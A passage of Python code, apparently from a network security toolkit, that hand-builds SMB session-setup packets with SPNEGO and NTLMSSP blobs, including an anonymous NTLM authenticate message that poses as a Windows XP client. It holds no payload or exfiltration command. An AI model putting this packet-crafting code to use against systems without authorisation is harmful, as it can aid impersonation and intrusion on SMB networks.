data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data7 = str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data9 = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len
self.fields["andxoffset"] = StructWithLenPython2or3("<H", len(data9)+32)
##Buff Len
self.fields["securitybloblength"] = StructWithLenPython2or3("<H", len(data1))
##Complete Buff Len
self.fields["bcc1"] = StructWithLenPython2or3("<H", len(data5))
##App Header
self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<B", len(data2))
##Asn Field 1
self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1
self.fields["ChoosedTagStrLen"] = StructWithLenPython2or3("<B", len(data3))
##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = StructWithLenPython2or3("<B", len(data4))
##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = StructWithLenPython2or3("<B", len(data10))
## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = StructWithLenPython2or3("<B", len(data11))
## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = StructWithLenPython2or3("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = StructWithLenPython2or3("<B", len(data6))
## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = StructWithLenPython2or3("<B", len(data7))
#########################################################################################################
class SMBSession2(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00"),
("andxoffset", "\xfa\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x59\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xbf\x00"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderLen","\x57"),
("AsnSecMechType","\x30"),
("AsnSecMechLen","\x55"),
("ChoosedTag","\xa2"),
("ChoosedTagLen","\x53"),
("ChoosedTag1","\x04"),
("ChoosedTag1StrLen","\x51"),
("NLMPAuthMsgSignature", "\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NLMPAuthMsgMessageType","\x03\x00\x00\x00"),
("NLMPAuthMsgLMChallengeLen","\x01\x00"),
("NLMPAuthMsgLMChallengeMaxLen","\x01\x00"),
("NLMPAuthMsgLMChallengeBuffOffset","\x50\x00\x00\x00"),
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseBuffOffset","\x51\x00\x00\x00"),
("NLMPAuthMsgNtDomainNameLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtUserNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtWorkstationLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationMaxLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageLen","\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageMaxLen","\x00\x00"),
("NLMPAuthMsgRandomSessionKeyMessageBuffOffset","\x55\x00\x00\x00"),
("NLMPAuthMsgNtNegotiateFlags","\x05\x8A\x88\xa2"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x01"),
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NLMPAuthMsgNtDomainName",""),
("NLMPAuthMsgNtUserName",""),
("NLMPAuthMsgNtWorkstationName",""),
("NLMPAuthLMChallengeStr", "\x00"),
("NLMPAuthMsgNTLMV1ChallengeResponseStruct",""),
("NLMPAuthMsgNTerminator",""),
("nativeOs","Windows 2002 Service Pack 3 2600"),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1"),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le').decode('latin-1')
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le').decode('latin-1')
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le').decode('latin-1')
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le').decode('latin-1')
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
SecurityBlobLen2 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
SecurityBlobBCC = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
CalculateUserOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])
CalculateDomainOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
CalculateWorkstationOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])
CalculateLMChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])
